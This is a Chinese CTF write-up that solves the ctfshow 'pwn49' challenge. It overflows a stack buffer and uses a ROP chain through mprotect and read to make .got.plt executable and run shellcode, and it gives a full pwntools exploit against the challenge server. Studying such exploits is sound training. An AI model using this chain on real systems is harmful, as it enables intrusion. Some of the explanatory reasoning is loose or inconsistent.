pwn49

32位

NX开启

提示mprotect

mprotect()函数可以修改调用进程内存页的保护属性

所以利用mprotect函数,就可以绕过NX

从而达到写入shellcode的目的

int ctfshow()
{
 _BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF

 return read(0, v1, 100);
}

ctfshow函数中拿到偏移地址

0x12+4

mprotect函数存在三个参数

这三个参数分别为:内存区域起始地址 内存区域大小 访问权限

而访问权限,又有三个值

r:4 w:2 x:1

所以,rwx权限(可读可写可执行)就是0x7

想要调用mprotect函数

就需要让ctfshow函数的返回地址为mprotect函数的地址

通过gdb的disass mprotect 指令

拿到mprotect的地址

pwndbg> disass mprotect
Dump of assembler code for function mprotect:
  0x0806cdd0 <+0>: push   ebx
  0x0806cdd1 <+1>: mov    edx,DWORD PTR [esp+0x10]
  0x0806cdd5 <+5>: mov    ecx,DWORD PTR [esp+0xc]
  0x0806cdd9 <+9>: mov    ebx,DWORD PTR [esp+0x8]
  0x0806cddd <+13>: mov    eax,0x7d
  0x0806cde2 <+18>: call   DWORD PTR gs:0x10
  0x0806cde9 <+25>: pop    ebx
  0x0806cdea <+26>: cmp    eax,0xfffff001
  0x0806cdef <+31>: jae    0x8070520 <__syscall_error>
  0x0806cdf5 <+37>: ret    
End of assembler dump.

所以mprotect函数的地址为:0x0806cdd0

mprotect函数可以被调用了,但我们还需要找到这个函数的返回地址

返回地址选为read函数的地址,这样能帮助写入shellcode到内存空间里

对于mprotect函数部分的payload,情况就是

填充 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数

在IDA里面查找得到read函数的地址

read 0x0806BEE0

现在就只要补齐三个参数就好了

首先是内存区域起始地址,选用got表的起始地址

选用got表的原因:

1. .got.plt 表的特性

  • 全局偏移表(GOT) 是 ELF(Executable and Linkable Format)文件格式中的一个重要部分,用于存储动态链接库中函数的地址。
  • .got.plt 表 是 GOT 表的一个子集,专门用于存储程序中调用的动态链接库函数的地址。它通常位于程序的内存空间中,且在程序运行时会被加载到内存中。

2. 为什么选择 .got.plt 表的起始地址

  • 内存对齐和权限修改的便利性
    • .got.plt 表的起始地址通常是内存页的起始地址(通常是 4KB 对齐),这符合 mprotect 函数的要求,即起始地址必须是内存页的起始地址。
    • 修改 .got.plt 表的权限可以覆盖整个表的范围,而不需要担心跨页问题,因为 .got.plt 表通常不会跨越多个内存页。
  • 绕过 NX 保护
    • 在现代操作系统中,栈和堆通常是没有执行权限的(即开启了 NX 保护)。而 .got.plt 表位于程序的 .got 段中,这个段通常是可以读写的。
    • 通过修改 .got.plt 表的权限,可以将其设置为可读、可写、可执行(PROT_READ | PROT_WRITE | PROT_EXEC),从而绕过 NX 保护,为执行 shellcode 提供条件。
  • 避免对程序其他部分的影响
    • .got.plt 表通常用于存储动态链接库函数的地址,修改其权限不会直接影响程序的其他部分(如栈、堆等)。
    • 相比之下,修改 .bss 段可能会导致程序崩溃,因为 .bss 段在程序启动时会被清零,修改后的内容可能会被覆盖。

所以寻找got表地址

使用readelf -S pwn49

这个命令就能拿到所有节头信息

There are 31 section headers, starting at offset 0xa1474:

Section Headers:
[Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
[ 0]                   NULL            00000000 000000 000000 00      0   0  0
[ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
[ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  19  4
[ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
[ 5] .plt              PROGBITS        080481d0 0001d0 000070 00  AX  0   0  8
[ 6] .text             PROGBITS        08048240 000240 063421 00  AX  0   0 16
[ 7] __libc_freeres_fn PROGBITS        080ab670 063670 000ba7 00  AX  0   0 16
[ 8] __libc_thread_fre PROGBITS        080ac220 064220 000127 00  AX  0   0 16
[ 9] .fini             PROGBITS        080ac348 064348 000014 00  AX  0   0  4
[10] .rodata           PROGBITS        080ac360 064360 018b98 00   A  0   0 32
[11] .eh_frame         PROGBITS        080c4ef8 07cef8 011e48 00   A  0   0  4
[12] .gcc_except_table PROGBITS        080d6d40 08ed40 0000ac 00   A  0   0  1
[13] .tdata            PROGBITS        080d86e0 08f6e0 000010 00 WAT  0   0  4
[14] .tbss             NOBITS          080d86f0 08f6f0 000020 00 WAT  0   0  4
[15] .init_array       INIT_ARRAY      080d86f0 08f6f0 000008 04  WA  0   0  4
[16] .fini_array       FINI_ARRAY      080d86f8 08f6f8 000008 04  WA  0   0  4
[17] .data.rel.ro      PROGBITS        080d8700 08f700 0018d4 00  WA  0   0 32
[18] .got              PROGBITS        080d9fd4 090fd4 000028 00  WA  0   0  4
[19] .got.plt          PROGBITS        080da000 091000 000044 04  WA  0   0  4
[20] .data             PROGBITS        080da060 091060 000f20 00  WA  0   0 32
[21] __libc_subfreeres PROGBITS        080daf80 091f80 000024 00  WA  0   0  4
[22] __libc_IO_vtables PROGBITS        080dafc0 091fc0 000354 00  WA  0   0 32
[23] __libc_atexit     PROGBITS        080db314 092314 000004 00  WA  0   0  4
[24] __libc_thread_sub PROGBITS        080db318 092318 000004 00  WA  0   0  4
[25] .bss              NOBITS          080db320 09231c 000cdc 00  WA  0   0 32
[26] __libc_freeres_pt NOBITS          080dbffc 09231c 000014 00  WA  0   0  4
[27] .comment          PROGBITS        00000000 09231c 000029 01  MS  0   0  1
[28] .symtab           SYMTAB          00000000 092348 008640 10     29 1090  4
[29] .strtab           STRTAB          00000000 09a988 006992 00      0   0  1
[30] .shstrtab         STRTAB          00000000 0a131a 000159 00      0   0  1
Key to Flags:
 W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
 L (link order), O (extra OS processing required), G (group), T (TLS),
 C (compressed), x (unknown), o (OS specific), E (exclude),
 p (processor specific)

[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4

这里拿到got表地址

0x080da000

现在填补另外两个参数:内存区域大小和权限

大小就可以随便设定就好,0x100啥的应该都能随便用,大了改小,小了改大,能存入shellcode就够了

权限则是0x7即可

参数找到了,还需要找到三个pop,一个ret的gadget

ctfshow@ubuntu:~/Desktop/xd$ ROPgadget --binary pwn49 --only "pop|ret" |grep "pop"
0x0809f422 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809f41a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056194 : pop eax ; pop edx ; pop ebx ; ret
0x080a8dd6 : pop eax ; ret
0x0806a68d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809f805 : pop ebp ; pop esi ; pop edi ; ret
0x0804834c : pop ebp ; ret
0x0805d6f2 : pop ebp ; ret 4
0x080a1db7 : pop ebp ; ret 8
0x0809f804 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0805b75e : pop ebx ; pop edi ; ret
0x0806dfea : pop ebx ; pop edx ; ret
0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
0x08048349 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805d6ef : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db4 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
0x08049807 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080c2fdc : pop ebx ; ret 0x6f9
0x0806e012 : pop ecx ; pop ebx ; ret
0x0804834b : pop edi ; pop ebp ; ret
0x0805d6f1 : pop edi ; pop ebp ; ret 4
0x080a1db6 : pop edi ; pop ebp ; ret 8
0x08069cbe : pop edi ; pop ebx ; ret
0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
0x080921b8 : pop edi ; pop esi ; ret
0x08049bdb : pop edi ; ret
0x08056195 : pop edx ; pop ebx ; ret
0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
0x0806dfeb : pop edx ; ret
0x0809f419 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08065aba : pop es ; pop edi ; ret
0x08065cfa : pop es ; ret
0x080a019c : pop esi ; pop ebp ; ret
0x0806dfe9 : pop esi ; pop ebx ; pop edx ; ret
0x08061c3c : pop esi ; pop ebx ; ret
0x0804834a : pop esi ; pop edi ; pop ebp ; ret
0x0805d6f0 : pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db5 : pop esi ; pop edi ; pop ebp ; ret 8
0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
0x08049bda : pop esi ; pop edi ; ret
0x08049808 : pop esi ; ret
0x08054706 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809e12e : pop esp ; ret
0x0805ad28 : pop esp ; ret 0x8b38
0x080622c9 : pop ss ; ret 0x2c73
0x08062c8a : pop ss ; ret 0x3273
0x080622b4 : pop ss ; ret 0x3e73
0x08062c70 : pop ss ; ret 0x4c73
0x0806229f : pop ss ; ret 0x5073
0x0806228a : pop ss ; ret 0x6273
0x08062c56 : pop ss ; ret 0x6673
0x08060805 : pop ss ; ret 0x830f

通过指令找到这样的gadget

0x08056194

这个gadget就能作为mprotect的返回地址

填充地址 0x12+4

mprotect函数 0x0806cdd0

返回地址 0x08056194

mprotect的三个参数 0x080da000 0x100 0x7

read函数 0x0806BEE0

shellcode由asm方法生成

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

然后是read部分的payload

read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

read的参数1是文件标识符

即fd

常态下,fd=0即可

所以read参数1写0就可

至于参数2和参数3,shellcode写在got,所以参数2为got表起始地址,参数3就写内存区域大小即可

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

完整exp:

# -*- coding: UTF-8 -*-
from pwn import *
u=remote("pwn.challenge.ctf.show",28307)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))
u.sendline(payload)
u.sendline(shellcode)
u.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇